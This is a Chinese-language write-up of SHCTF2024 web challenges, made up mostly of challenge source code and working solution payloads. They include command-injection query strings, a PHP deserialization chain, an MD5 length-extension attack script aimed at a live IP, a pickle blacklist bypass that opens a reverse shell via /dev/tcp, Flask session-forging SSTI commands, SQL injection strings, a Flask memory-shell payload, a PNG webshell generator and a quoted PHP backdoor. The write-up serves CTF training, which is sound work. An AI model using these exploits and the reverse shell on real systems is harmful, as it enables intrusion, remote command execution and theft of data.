SHCTF2024

[Week1] 1zflask

题目提示robots,直接访问robots.txt即可获得/s3recttt,下载app.py源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import os
import flask
from flask import Flask, request, send_from_directory, send_file

app = Flask(__name__)

@app.route('/api')
def api():
cmd = request.args.get('SSHCTFF', 'ls /')
result = os.popen(cmd).read()
return result

@app.route('/robots.txt')
def static_from_root():
return send_from_directory(app.static_folder,'robots.txt')

@app.route('/s3recttt')
def get_source():
file_path = "app.py"
return send_file(file_path, as_attachment=True)

if __name__ == '__main__':
app.run(debug=True)

直接访问/api即可进行rce

1
/api?SSHCTFF=cat /*

[Week1] MD5 Master

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php 
highlight_file(__file__);

$master = "MD5 master!";

if(isset($_POST["master1"]) && isset($_POST["master2"])){
if($master.$_POST["master1"] !== $master.$_POST["master2"] && md5($master.$_POST["master1"]) === md5($master.$_POST["master2"])){
echo $master . "<br>";
echo file_get_contents('/flag');
}
}
else{
die("master? <br>");
}

md5强碰撞绕过即可,这里需要碰撞前的字符串为MD5 master!,这样就可以达到绕过,通过bp提交即可

1
master1=%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%3D%DD%F6FS%00%0B%AE%3E%21%0Es%E2%89r%EA%8D%3A%F2%21%1C%E9%22%1CD%D2%7E%FAL%10%A2%1D%9D%F1%F2%F6l%AB%85%18%EF%C1A%1B%C8WL%88%AC%7D%FC%E7%C1%7D%3DG%BDD%0BEsbAQtY%8DP%23%FE%F8%F2%8D%14%F2S%A8%BE%E7%96%00%10x%97%C8%E3L%DD%1C%25l%E7Q%C7%7C%DE%21%88%F2%19%BC%91%10%87%9A%15%C5Y%9D%88%F6%DD%C9%3C%0D%DD%89%D6%F3%15%B0%ED%CEY%D3tck&master2=%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%3D%DD%F6FS%00%0B%AE%3E%21%0Es%E2%89r%EA%8D%3A%F2%A1%1C%E9%22%1CD%D2%7E%FAL%10%A2%1D%9D%F1%F2%F6l%AB%85%18%EF%C1A%1B%C8%D7L%88%AC%7D%FC%E7%C1%7D%3DG%BDD%0B%C5sbAQtY%8DP%23%FE%F8%F2%8D%14%F2S%A8%BE%E7%96%00%10x%17%C8%E3L%DD%1C%25l%E7Q%C7%7C%DE%21%88%F2%19%BC%91%10%87%9A%15%C5Y%9D%08%F6%DD%C9%3C%0D%DD%89%D6%F3%15%B0%ED%CE%D9%D3tck

[Week1] ez_gittt

git泄露,直接通过GitHack来查看即可

1
2
python2 GitHack.py http://210.44.150.15:47817/.git/
git show

[Week1] jvav

这个题要通过java来执行系统命令来获取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;

public class demo {

public static void main(String[] args) {
// 创建ProcessBuilder对象,传入"ls"命令
ProcessBuilder processBuilder = new ProcessBuilder("ls","/");

try {
// 启动进程
Process process = processBuilder.start();

// 使用BufferedReader读取进程的输出流
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
// 打印输出结果
System.out.println(line);
}
reader.close();

// 等待进程结束,并获取退出值
int exitCode = process.waitFor();
if (exitCode == 0) {
System.out.println("Command executed successfully.");
} else {
System.out.println("Command execution failed with exit code: " + exitCode);
}

} catch (IOException e) {
e.printStackTrace();
} catch (InterruptedException e) {
// 重新设置中断标志
Thread.currentThread().interrupt();
e.printStackTrace();
}
}
}

[Week1] poppopop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php 
class SH {
public static $Web = false;
public static $SHCTF = false;
}
class C {
public $p;
public function flag()
{
($this->p)();
}
}
class T{
public $n;
public function __destruct()
{
SH::$Web = true;
echo $this->n;
}
}
class F {
public $o;
public function __toString()
{
SH::$SHCTF = true;
$this->o->flag();
return "其实。。。。,";
}
}
class SHCTF {
public $isyou;
public $flag;
public function __invoke()
{
if (SH::$Web) {

($this->isyou)($this->flag);
echo "小丑竟是我自己呜呜呜~";
} else {
echo "小丑别看了!";
}
}
}
if (isset($_GET['data'])) {
highlight_file(__FILE__);
unserialize(base64_decode($_GET['data']));
} else {
highlight_file(__FILE__);
echo "小丑离我远点!!!";
}

这个就是一个序列化题,没有什么好讲的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class SH {
public static $Web = false;
public static $SHCTF = false;
}
class C {
public $p;
}
class T{
public $n;
}
class F {
public $o;
}
class SHCTF {
public $isyou="system";
public $flag="cat /*";
}
$a=new T();
$a->n=new F();
$a->n->o=new C();
$a->n->o->p=new SHCTF();
echo base64_encode(serialize($a));
TzoxOiJUIjoxOntzOjE6Im4iO086MToiRiI6MTp7czoxOiJvIjtPOjE6IkMiOjE6e3M6MToicCI7Tzo1OiJTSENURiI6Mjp7czo1OiJpc3lvdSI7czo2OiJzeXN0ZW0iO3M6NDoiZmxhZyI7czo2OiJjYXQgLyoiO319fX0=

[Week1] 单身十八年的手速

查看game.js直接寻找最后的base编码得flag

[Week1] 蛐蛐?蛐蛐!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
if($_GET['ququ'] == 114514 && strrev($_GET['ququ']) != 415411){
if($_POST['ququ']!=null){
$eval_param = $_POST['ququ'];
if(strncmp($eval_param,'ququk1',6)===0){
eval($_POST['ququ']);
}else{
echo("可以让fault的蛐蛐变成现实么\n");
}
}
echo("蛐蛐成功第一步!\n");

}
else{
echo("呜呜呜fault还是要出题");
}

这里直接通过提交ququ=114514a即可绕过第一个if,后面的if需要ququk1开头,但是直接拼接命令再后面即可,报错但是会执行

1
ququ=ququk1;system('cat /*');

[Week2]MD5 GOD!

下载源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from flask import *
import hashlib, os, random

app = Flask(__name__)
app.config["SECRET_KEY"] = "Th1s_is_5ecr3t_k3y"
salt = os.urandom(16)

def md5(data):
return hashlib.md5(data).hexdigest().encode()

def check_sign(sign, username, msg, salt):
if sign == md5(salt + msg + username):
return True
return False

def getRandom(str_length=16):
"""
生成一个指定长度的随机字符串
"""
random_str =''
base_str ='ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'
length =len(base_str) -1
for i in range(str_length):
random_str +=base_str[random.randint(0, length)]
return random_str

users = {}
sign_users = {}

@app.route("/")
def index():
if session.get('sign') == None or session.get('username') == None or session.get('msg') == None:
return redirect("/login")
sign = session.get('sign')
username = session.get('username')
msg = session.get('msg')
if check_sign(sign, username, msg, salt):
sign_users[username.decode()] = 1
return "签到成功"
return redirect("/login")

@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form.get('username')
password = request.form.get('password')
# print(password)
if username in users and users[username] == password:
session["username"] = username.encode()
session["msg"] = md5(salt + password.encode())
session["sign"] = md5(salt + md5(salt + password.encode()) + username.encode())
return "登陆成功"
else:
return "登陆失败"
else:
return render_template("login.html")

@app.route("/users")
def user():
return json.dumps(sign_users)

@app.route("/flag")
def flag():
for user in users:
if sign_users[user] != 1:
return "flag{杂鱼~}"
return open('/flag', 'r').read()

def init():
global users, sign_users
for _ in range(64):
username = getRandom(8)
pwd = getRandom(16)
users[username] = pwd
sign_users[username] = 0
users["student"] = "student"
sign_users["student"] = 0

init()

这里需要将每一个用户进行签到成功就可以获取flag,这里将SECRET_KEY给出来的,并且有一个关键函数来对身份进行验证

1
2
3
4
def check_sign(sign, username, msg, salt):
if sign == md5(salt + msg + username):
return True
return False

salt为随机不知道的值,msg= md5(salt + password.encode()),但是有一个已经知道的账户,通过哈希延长攻击来写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
import hashlib
import math
from typing import Any, Dict, List

rotate_amounts = [7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22,
5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20,
4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23,
6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21]

constants = [int(abs(math.sin(i + 1)) * 2 ** 32) & 0xFFFFFFFF for i in range(64)]

functions = 16 * [lambda b, c, d: (b & c) | (~b & d)] + \
16 * [lambda b, c, d: (d & b) | (~d & c)] + \
16 * [lambda b, c, d: b ^ c ^ d] + \
16 * [lambda b, c, d: c ^ (b | ~d)]

index_functions = 16 * [lambda i: i] + \
16 * [lambda i: (5 * i + 1) % 16] + \
16 * [lambda i: (3 * i + 5) % 16] + \
16 * [lambda i: (7 * i) % 16]


def get_init_values(A: int = 0x67452301, B: int = 0xefcdab89, C: int = 0x98badcfe, D: int = 0x10325476) -> List[int]:
return [A, B, C, D]


def left_rotate(x, amount):
x &= 0xFFFFFFFF
return ((x << amount) | (x >> (32 - amount))) & 0xFFFFFFFF


def padding_message(msg: bytes) -> bytes:
"""
在MD5算法中,首先需要对输入信息进行填充,使其位长对512求余的结果等于448,并且填充必须进行,即使其位长对512求余的结果等于448。
因此,信息的位长(Bits Length)将被扩展至N*512+448,N为一个非负整数,N可以是零。
填充的方法如下:
1) 在信息的后面填充一个1和无数个0,直到满足上面的条件时才停止用0对信息的填充。
2) 在这个结果后面附加一个以64位二进制表示的填充前信息长度(单位为Bit),如果二进制表示的填充前信息长度超过64位,则取低64位。
经过这两步的处理,信息的位长=N*512+448+64=(N+1)*512,即长度恰好是512的整数倍。这样做的原因是为满足后面处理中对信息长度的要求。
"""
orig_len_in_bits = (8 * len(msg)) & 0xffffffffffffffff
msg += bytes([0x80])
while len(msg) % 64 != 56:
msg += bytes([0x00])
msg += orig_len_in_bits.to_bytes(8, byteorder='little')
return msg


def md5(message: bytes, A: int = 0x67452301, B: int = 0xefcdab89, C: int = 0x98badcfe, D: int = 0x10325476) -> int:
message = padding_message(message)
hash_pieces = get_init_values(A, B, C, D)[:]
for chunk_ofst in range(0, len(message), 64):
a, b, c, d = hash_pieces
chunk = message[chunk_ofst:chunk_ofst + 64]
for i in range(64):
f = functions[i](b, c, d)
g = index_functions[i](i)
to_rotate = a + f + constants[i] + int.from_bytes(chunk[4 * g:4 * g + 4], byteorder='little')
new_b = (b + left_rotate(to_rotate, rotate_amounts[i])) & 0xFFFFFFFF
a, b, c, d = d, new_b, b, c
for i, val in enumerate([a, b, c, d]):
hash_pieces[i] += val
hash_pieces[i] &= 0xFFFFFFFF

return sum(x << (32 * i) for i, x in enumerate(hash_pieces))


def md5_to_hex(digest: int) -> str:
raw = digest.to_bytes(16, byteorder='little')
return '{:032x}'.format(int.from_bytes(raw, byteorder='big'))


def get_md5(message: bytes, A: int = 0x67452301, B: int = 0xefcdab89, C: int = 0x98badcfe, D: int = 0x10325476) -> str:
return md5_to_hex(md5(message, A, B, C, D))


def md5_attack(message: bytes, A: int = 0x67452301, B: int = 0xefcdab89, C: int = 0x98badcfe,
D: int = 0x10325476) -> int:
hash_pieces = get_init_values(A, B, C, D)[:]
for chunk_ofst in range(0, len(message), 64):
a, b, c, d = hash_pieces
chunk = message[chunk_ofst:chunk_ofst + 64]
for i in range(64):
f = functions[i](b, c, d)
g = index_functions[i](i)
to_rotate = a + f + constants[i] + int.from_bytes(chunk[4 * g:4 * g + 4], byteorder='little')
new_b = (b + left_rotate(to_rotate, rotate_amounts[i])) & 0xFFFFFFFF
a, b, c, d = d, new_b, b, c
for i, val in enumerate([a, b, c, d]):
hash_pieces[i] += val
hash_pieces[i] &= 0xFFFFFFFF

return sum(x << (32 * i) for i, x in enumerate(hash_pieces))


def get_init_values_from_hash_str(real_hash: str) -> List[int]:
"""

Args:
real_hash: 真实的hash结算结果

Returns: 哈希初始化值[A, B, C, D]

"""
str_list: List[str] = [real_hash[i * 8:(i + 1) * 8] for i in range(4)]
# 先按照小端字节序将十六进制字符串转换成整数,然后按照大端字节序重新读取这个数字
return [int.from_bytes(int('0x' + s, 16).to_bytes(4, byteorder='little'), byteorder='big') for s in str_list]


def get_md5_attack_materials(origin_msg: bytes, key_len: int, real_hash: str, append_data: bytes) -> Dict[str, Any]:
"""

Args:
origin_msg: 原始的消息字节流
key_len: 原始密钥(盐)的长度
real_hash: 计算出的真实的hash值
append_data: 需要添加的攻击数据

Returns: 发起攻击需要的物料信息
{
'attack_fake_msg': bytes([...]),
'attack_hash_value': str(a1b2c3d4...)
}

"""
init_values = get_init_values_from_hash_str(real_hash)
# print(['{:08x}'.format(x) for x in init_values])
# 只知道key的长度,不知道key的具体内容时,任意填充key的内容
fake_key: bytes = bytes([0xff for _ in range(key_len)])
# 计算出加了append_data后的真实填充数据
finally_padded_attack_data = padding_message(padding_message(fake_key + origin_msg) + append_data)
# 攻击者提前计算添加了攻击数据的哈希
attack_hash_value = md5_to_hex(md5_attack(finally_padded_attack_data[len(padding_message(fake_key + origin_msg)):],
A=init_values[0],
B=init_values[1],
C=init_values[2],
D=init_values[3]))
fake_padding_data = padding_message(fake_key + origin_msg)[len(fake_key + origin_msg):]
attack_fake_msg = origin_msg + fake_padding_data + append_data
return {'attack_fake_msg': attack_fake_msg, 'attack_hash_value': attack_hash_value}



from flask.sessions import SecureCookieSessionInterface
import requests, json, time

class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key


def session_decode(session_cookie_value, secret_key):
""" Decode a Flask cookie """
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)


def session_encode(session_cookie_structure, secret_key):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
# session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)


def req_index(url, cookie):
# headers = {"Cookie": "session=" + cookie}
cookies = {"session":cookie}
r = requests.get(url, cookies=cookies).text
# print(r)
if '签到成功' not in r:
# print(cookie)
time.sleep(1)
req_index(url, cookie)
# print(r)

def req_user(url):
return json.loads(requests.get(url).text)

def req_login(url):
data = {"username":"student", "password":"student"}
cookie = requests.post(url, data).headers["Set-Cookie"][8:].split(';')[0]
# print(cookie)
return cookie

def hash_Attack(md5_value, key_len, data, attack_data):
attack_materials = get_md5_attack_materials(data, key_len, md5_value.decode(), attack_data)
# print(data)
res = {"username":attack_data, "msg":attack_materials['attack_fake_msg'][:-len(attack_data)], "sign":attack_materials['attack_hash_value'].encode()}
return res


if __name__ == '__main__':
url = "http://210.44.150.15:49982/"
cookie = req_login(url+'login')
users = req_user(url+'users')
secret_key = "Th1s_is_5ecr3t_k3y"
res = session_decode(cookie, secret_key)
for user in users:
if users[user] == 0:
res = hash_Attack(res["sign"], 16, res["msg"]+res["username"], user.encode())
res2 = session_encode(res, secret_key)
# time.sleep(1)
r = req_index(url, res2)

[Week2]dickle

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from flask import Flask, request
import pickle
import base64
import io

BLACKLISTED_CLASSES = [
'subprocess.check_output','builtins.eval','builtins.exec',
'os.system', 'os.popen', 'os.popen2', 'os.popen3', 'os.popen4',
'pickle.load', 'pickle.loads', 'cPickle.load', 'cPickle.loads',
'subprocess.call', 'subprocess.check_call', 'subprocess.Popen',
'commands.getstatusoutput', 'commands.getoutput', 'commands.getstatus',
'pty.spawn', 'posixfile.open', 'posixfile.fileopen',
'__import__','os.spawn*','sh.Command','imp.load_module','builtins.compile'
'eval', 'builtins.execfile', 'compile', 'builtins.open', 'builtins.file', 'os.system',
'os.fdopen', 'os.tmpfile', 'os.fchmod', 'os.fchown', 'os.open', 'os.openpty', 'os.read', 'os.pipe',
'os.chdir', 'os.fchdir', 'os.chroot', 'os.chmod', 'os.chown', 'os.link', 'os.lchown', 'os.listdir',
'os.lstat', 'os.mkfifo', 'os.mknod', 'os.access', 'os.mkdir', 'os.makedirs', 'os.readlink', 'os.remove',
'os.removedirs', 'os.rename', 'os.renames', 'os.rmdir', 'os.tempnam', 'os.tmpnam', 'os.unlink', 'os.walk',
'os.execl', 'os.execle', 'os.execlp', 'os.execv', 'os.execve', 'os.dup', 'os.dup2', 'os.execvp', 'os.execvpe',
'os.fork', 'os.forkpty', 'os.kill', 'os.spawnl', 'os.spawnle', 'os.spawnlp', 'os.spawnlpe', 'os.spawnv',
'os.spawnve', 'os.spawnvp', 'os.spawnvpe', 'pickle.load', 'pickle.loads', 'cPickle.load', 'cPickle.loads',
'subprocess.call', 'subprocess.check_call', 'subprocess.check_output', 'subprocess.Popen',
'commands.getstatusoutput', 'commands.getoutput', 'commands.getstatus', 'glob.glob',
'linecache.getline', 'shutil.copyfileobj', 'shutil.copyfile', 'shutil.copy', 'shutil.copy2', 'shutil.move',
'shutil.make_archive', 'popen2.popen2', 'popen2.popen3', 'popen2.popen4', 'timeit.timeit', 'sys.call_tracing',
'code.interact', 'code.compile_command', 'codeop.compile_command', 'pty.spawn', 'posixfile.open',
'posixfile.fileopen'
]

class SafeUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if f"{module}.{name}" in BLACKLISTED_CLASSES:
raise pickle.UnpicklingError("Forbidden class: %s.%s" % (module, name))
return super().find_class(module, name)

app = Flask(__name__)

@app.route("/", methods=["GET", "POST"])
def index():
if request.method == "POST":
encoded_data = request.form["data"]
decoded_data = base64.b64decode(encoded_data)

try:
data_stream = io.BytesIO(decoded_data)
unpickler = SafeUnpickler(data_stream)
result = unpickler.load()
return f"Deserialized data: {list(result)}"
except Exception as e:
return f"Error during deserialization: {str(e)}"
else:
return """
<form method="post">
<label for="data">Enter your serialized data:</label><br>
<textarea id="data" name="data"></textarea><br>
<input type="submit" value="Submit">
</form>
"""

if __name__ == "__main__":
app.run(port=8080)

这里是pickel反序列化,但是有十分多的waf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
BLACKLISTED_CLASSES = [
'subprocess.check_output','builtins.eval','builtins.exec',
'os.system', 'os.popen', 'os.popen2', 'os.popen3', 'os.popen4',
'pickle.load', 'pickle.loads', 'cPickle.load', 'cPickle.loads',
'subprocess.call', 'subprocess.check_call', 'subprocess.Popen',
'commands.getstatusoutput', 'commands.getoutput', 'commands.getstatus',
'pty.spawn', 'posixfile.open', 'posixfile.fileopen',
'__import__','os.spawn*','sh.Command','imp.load_module','builtins.compile'
'eval', 'builtins.execfile', 'compile', 'builtins.open', 'builtins.file', 'os.system',
'os.fdopen', 'os.tmpfile', 'os.fchmod', 'os.fchown', 'os.open', 'os.openpty', 'os.read', 'os.pipe',
'os.chdir', 'os.fchdir', 'os.chroot', 'os.chmod', 'os.chown', 'os.link', 'os.lchown', 'os.listdir',
'os.lstat', 'os.mkfifo', 'os.mknod', 'os.access', 'os.mkdir', 'os.makedirs', 'os.readlink', 'os.remove',
'os.removedirs', 'os.rename', 'os.renames', 'os.rmdir', 'os.tempnam', 'os.tmpnam', 'os.unlink', 'os.walk',
'os.execl', 'os.execle', 'os.execlp', 'os.execv', 'os.execve', 'os.dup', 'os.dup2', 'os.execvp', 'os.execvpe',
'os.fork', 'os.forkpty', 'os.kill', 'os.spawnl', 'os.spawnle', 'os.spawnlp', 'os.spawnlpe', 'os.spawnv',
'os.spawnve', 'os.spawnvp', 'os.spawnvpe', 'pickle.load', 'pickle.loads', 'cPickle.load', 'cPickle.loads',
'subprocess.call', 'subprocess.check_call', 'subprocess.check_output', 'subprocess.Popen',
'commands.getstatusoutput', 'commands.getoutput', 'commands.getstatus', 'glob.glob',
'linecache.getline', 'shutil.copyfileobj', 'shutil.copyfile', 'shutil.copy', 'shutil.copy2', 'shutil.move',
'shutil.make_archive', 'popen2.popen2', 'popen2.popen3', 'popen2.popen4', 'timeit.timeit', 'sys.call_tracing',
'code.interact', 'code.compile_command', 'codeop.compile_command', 'pty.spawn', 'posixfile.open',
'posixfile.fileopen'
]

在反序列化过程中, pickle 使用 find_class 方法来定位和导入必要的类或函数。由于 pickle 记录的是 posix.system,因此find_class 会从 posix 模块中导入 system 函数,而不是从 os 模块中导入。

所以可以用os.system进行序列化,但是在检测就会调用posix.system,从而绕过黑名单

1
2
3
4
5
6
7
8
9
10
import os
import pickle
import base64
class A():
def __reduce__(self):
return (os.system,('bash -c "bash -i >6 /dev/tcp/ip/8888 0>&1"',))

a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))

[Week2]guess_the_number

查看源码的源码 /s0urce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import flask
import random
from flask import Flask, request, render_template, send_file

app = Flask(__name__)

@app.route('/')
def index():
return render_template('index.html', first_num = first_num)

@app.route('/s0urce')
def get_source():
file_path = "app.py"
return send_file(file_path, as_attachment=True)

@app.route('/first')
def get_first_number():
return str(first_num)

@app.route('/guess')
def verify_seed():
num = request.args.get('num')
if num == str(second_num):
with open("/flag", "r") as file:
return file.read()
return "nonono"

def init():
global seed, first_num, second_num
seed = random.randint(1000000,9999999)
random.seed(seed)
first_num = random.randint(1000000000,9999999999)
second_num = random.randint(1000000000,9999999999)

init()
app.run(debug=True)

主要看到种子这里seed = random.randint(1000000,9999999),这里看似随机的,但是当种子确定下来时,first_num和second_num就会确定,所以,只需要通过第一个数来获得seed就可以获得第二个数值

1
2
3
4
5
6
7
import random
for i in range(1000000,9999999):
random.seed(i)
first_num = random.randint(1000000000, 9999999999)
if(first_num==2750639080):
print(random.randint(1000000000, 9999999999))
break

再提交输出的值获取flag

[Week2]入侵者禁入

这里直接给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from flask import Flask, session, request, render_template_string
app = Flask(__name__)
app.secret_key = '0day_joker'
@app.route('/')
def index():
session['role'] = {
'is_admin': 0,
'flag': 'your_flag_here'
}
with open(__file__, 'r') as file:
code = file.read()
return code
@app.route('/admin')
def admin_handler():
try:
role = session.get('role')
if not isinstance(role, dict):
raise Exception
except Exception:
return 'Without you, you are an intruder!'
if role.get('is_admin') == 1:
flag = role.get('flag') or 'admin'
message = "Oh,I believe in you! The flag is: %s" % flag
return render_template_string(message)
else:
return "Error: You don't have the power!"
if __name__ == '__main__':
app.run('0.0.0.0', port=80)

首先看到secret_key就可以知道应该是要通过session伪造了,这里需要注意它不是直接通过admin用户来获取flag,而是通过通过渲染render_template_string(message),这里就可以尝试ssti来获取flag

抓包获取session值

1
eyJyb2xlIjp7ImZsYWciOiJ5b3VyX2ZsYWdfaGVyZSIsImlzX2FkbWluIjowfX0.ZyiHMA.AomjARBBM3o_mXsepYp6PsZ6D8E

这里看到破解成功,下面就是进行伪造

1
python flask_session_cookie_manager3.py encode -s "0day_joker" -t "{'role': {'flag': '{{lipsum.__globals__.os.popen(\'cat /*\').read()}}', 'is_admin': 1}}"

这里要注意需要通过转义才可以写,最后提交得flag

[Week2]登录验证

提示里面告诉我们要jwt爆破

当我们提交admin admin时告诉我们不是admin

我们开头将jwt码进行爆破

这里爆破出来为222333,将原来的jwt码进行伪造改role为admin即可

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MzA3MTk0NzEsImlhdCI6MTczMDcxMjI3MSwibmJmIjoxNzMwNzEyMjcxLCJyb2xlIjoiYWRtaW4ifQ.84vkkeMmFt9dr2RBVhH1TciO69Y4mXPq0cm27Dst9Fo

最后直接提交即可得flag

[Week2]自助查询

这个题注入没有过滤,主要是最后一步要注意

1
2
3
4
1") group by 2#
0") union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()# //flag,users
0") union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'# //id,scretdata
0") union select 1,group_concat(scretdata) from flag# //被你查到了, 果然不安全,把重要的东西写在注释就不会忘了

这里需要查看注释来获取flag

1
0") union SELECT column_name, column_comment FROM information_schema.columns WHERE table_schema = database() AND table_name = 'flag'#

[Week3] 小小cms

这个是用到cms漏洞,直接用payload即可

1
2
3
目录 /pay/index/pay_callback

post提交:out_trade_no[0]=eq&out_trade_no[1]=cat /*&out_trade_no[2]=system

[Week3] love_flask

下载源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from flask import Flask, request, render_template_string
# Flask 2.0.1
# Werkzeug 2.2.2
app = Flask(__name__)
html_template = '''
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Pretty Input Box</title>
<style>
.pretty-input {
width: 100%;
padding: 10px 20px;
margin: 20px 0;
font-size: 16px;
border: 1px solid #ccc;
border-radius: 25px;
box-sizing: border-box;
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.2);
transition: border 0.3s ease-in-out;
}

.pretty-input:focus {
border-color: #4CAF50;
outline: none;
}

.submit-button {
width: 100%;
padding: 10px 20px;
margin: 20px 0;
font-size: 16px;
color: white;
background-color: #4CAF50;
border: none;
border-radius: 25px;
cursor: pointer;
}

.container {
max-width: 300px;
margin: auto;
text-align: center;
}
</style>
</head>
<body>

<div class="container">
<form action="/namelist" method="get">
<input type="text" class="pretty-input" name="name" placeholder="Enter your name...">
<input type="submit" class="submit-button" value="Submit">
</form>
</div>

</body>
</html>
'''

@app.route('/')
def pretty_input():
return render_template_string(html_template)

@app.route('/namelist', methods=['GET'])
def name_list():
name = request.args.get('name')
template = '<h1>Hi, %s.</h1>' % name
rendered_string = render_template_string(template)
if rendered_string:
return 'Success Write your name to database'
else:
return 'Error'

if __name__ == '__main__':
app.run(port=8080)

这里发现存在ssti,但是没有会显,这里就可以产生通过内存马来进行回显,这里注意在打内存马时,如果已经创建了目录时就会报错,所以每次进行打内存马时就需要修改目录路径

1
{{url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/bbb', 'bbb', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'cat /*')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}

[Week3] 拜师之旅·番外

这个题考图片马得二次渲染

这个题只可以上传png文件,这里无法通过请求头和图片标识符来绕过,只能通过直接上传png文件来进行绕过,生成png图片的php代码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>

运行这个php文件就会生成一个1.png文件,直接下来进行上传,post提交来进行执行命令

1
2
3
/view.php?image=/upload/1924555906.png&0=system

1=ls /

[Week3] hacked_website

这里会给一个备份文件

打开后发现在/admin/profile.php中有一个后门

1
<?php $a = 'sys';$b = 'tem';$x = $a.$b;if (!isset($_POST['SH'])) {$z = "''";} else $z = $_POST['SH'];?>

